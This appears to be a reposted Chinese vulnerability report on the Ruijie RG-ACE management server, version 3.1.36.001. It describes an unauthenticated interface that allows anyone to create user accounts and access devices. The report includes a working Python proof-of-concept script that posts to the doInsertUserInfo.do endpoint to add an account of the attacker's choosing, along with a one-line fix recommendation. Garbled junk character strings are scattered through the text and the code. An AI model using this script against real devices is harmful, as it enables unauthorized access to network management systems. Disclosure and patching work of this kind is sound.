锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）
$ g% @& B* u$ i& n- c$ R* M% B

测试的具体版本是
产品名称: 锐捷应用控制引擎
, Z7 [% h: N+ i$ o版本号: 3.1.36.001 TC
编译时间: 201104291730

; I: |- F) y" X
漏洞证明：

0 ?2 y* z1 x& g8 b( H# A

5 q4 j- ^0 g' ?; w' j+ V- v. d
% z) C' ~$ Y8 |: \8 |# m/ o
, v2 |5 V! e: b7 `3 R7 s2 ?
执行脚本
#! /usr/bin/env python
. p% M) |6 j9 y. w1 g#coding=gbk
9 q" M) ^: y% B* Q. O#RG-ACE管理服务器 V3.1.36.001
import urllib2, urllib,cookielib
2 W9 l$ S) z6 {, ?" Ourl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
9 ^' ?. L4 S5 K7 m4 z6 J6 [opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
post=(("event","userManager.doInsertUserInfo"),
( q1 i1 K3 l- |1 |+ R+ t, e1 s("useractionname","addButtonValue"),
& h8 R7 X' y, g1 L, L% D) @! N("useropermanager","userManager"),
("userName","t"), #######账号自己加
("pwd","aaaaaa"),######密码自己加
("trueName","ad"),
/ @* T8 K( G( K" a; D("email",""),
("mobilePhone",""),
9 W% y' c6 I: ^0 a9 l7 P& U6 F6 D("officePhone",""),
4 ]4 G3 b7 x2 q$ b: ^' t("addr",""),
("submit","确定"))
urllib2.install_opener(opener)
3 l$ h, f% z; I8 H; b% v3 Op=urllib2.urlopen(url, urllib.urlencode(post)).read()
print "Done"

/ d* d  L5 \- t4 r登录，连接设备
: r% T; H! L: f# A$ R$ T% x
/ C' S3 z- L  @% v3 y" d) x* Q

* \/ \- K) \5 `: ^" _3 s% f- O- _

默认的管理员admin权限更大点
* E) G7 W1 Y5 e& w; @# q: x5 u! g4 S


' K9 y* c1 n0 Q& g* D( \' y) K% B
- J! i9 n2 p; J, b, O* q1 s9 T
" n( b/ P4 i, K! R2 S& l( g4 f修复方案：
$ `: w( K% B1 @  v* _% [$ v加强对接口的权限验证

. N) c# j5 a' U9 n. z- d+ z